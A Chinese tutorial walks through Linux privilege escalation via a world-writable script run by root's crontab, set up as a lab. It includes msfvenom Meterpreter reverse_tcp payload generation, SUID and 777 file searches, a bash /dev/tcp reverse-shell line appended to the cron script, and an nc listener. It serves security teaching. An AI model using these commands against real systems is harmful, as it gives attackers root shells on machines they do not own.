操作系统权限提升之Linux提权-计划任务提权
  TEZNKK3IfmPf 2023年11月12日 17 0

计划任务提权

计划任务提权原理

linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下

crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab

计划任务的文件夹在 /etc/cron*下

操作系统权限提升(二十)之Linux提权-计划任务提权

计划任务的格式

分 时 日 月 周 用户 命令

操作系统权限提升(二十)之Linux提权-计划任务提权

假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下

find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件
find / -perm 777 -print 2>/dev/null 查找777文件

linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权限,最后一部分是其他用户所拥有的权限

操作系统权限提升(二十)之Linux提权-计划任务提权

提权准备

先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数

#!/bin/bash
function bash_os() {
	# "系统基础信息"
	#内核信息
	kernel=$(uname -r)
	#主机名称
	hostname=$HOSTNAME
	#当前时间及运行时间
	dateload=$(uptime | awk -F "," '{print $1}')
	# 当前登录用户数
	users=$(uptime | awk -F "," '{print $2}')
	echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >> /tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
	echo -e "|内核信息:\033[31m $kernel \033[0m" >> /tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
	echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >>/tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >>/tmp/bash_os.txt
	echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >>/tmp/bash_os.txt
}
bash_os

操作系统权限提升(二十)之Linux提权-计划任务提权

该脚本运行后的内容将会写到 /tmp/bash_os.txt文件中

操作系统权限提升(二十)之Linux提权-计划任务提权

将文件的权限设置成777 chmod 777 bash_os.sh

操作系统权限提升(二十)之Linux提权-计划任务提权

将文件设置成计划任务,输入 vim /etc/crontab 进行编辑,编辑内容如下到crontab文件中

分 时 日 月 周 用户 命令
*/1 * * * * root /home/daoer/Desktop/bash_os.sh

操作系统权限提升(二十)之Linux提权-计划任务提权

service croud status 查看计划任务启动
service croud restart 重启计划任务

提权实战

我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF的payload然后上线

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 8888
run

操作系统权限提升(二十)之Linux提权-计划任务提权

查询计划任务,发现存在一个sh文件并且是root运行的

cat /etc/crontab

操作系统权限提升(二十)之Linux提权-计划任务提权

接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权

ls -l bash_os.sh

操作系统权限提升(二十)之Linux提权-计划任务提权

输入反弹shell的命令,在sh文件中进行追加

echo "bash -i >& /dev/tcp/192.168.0.105/9876 0>&1" >> /bash_os.sh

操作系统权限提升(二十)之Linux提权-计划任务提权

使用NC接收等待反弹shell的连接,得到root权限

nc -lvvp 9876

操作系统权限提升(二十)之Linux提权-计划任务提权

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月12日 0

暂无评论

推荐阅读
  TEZNKK3IfmPf   2024年05月31日   51   0   0 linux服务器
  TEZNKK3IfmPf   2024年05月31日   29   0   0 linux服务器centos
  TEZNKK3IfmPf   2024年05月31日   29   0   0 linuxbind
  TEZNKK3IfmPf   2024年05月31日   39   0   0 linuxshell
TEZNKK3IfmPf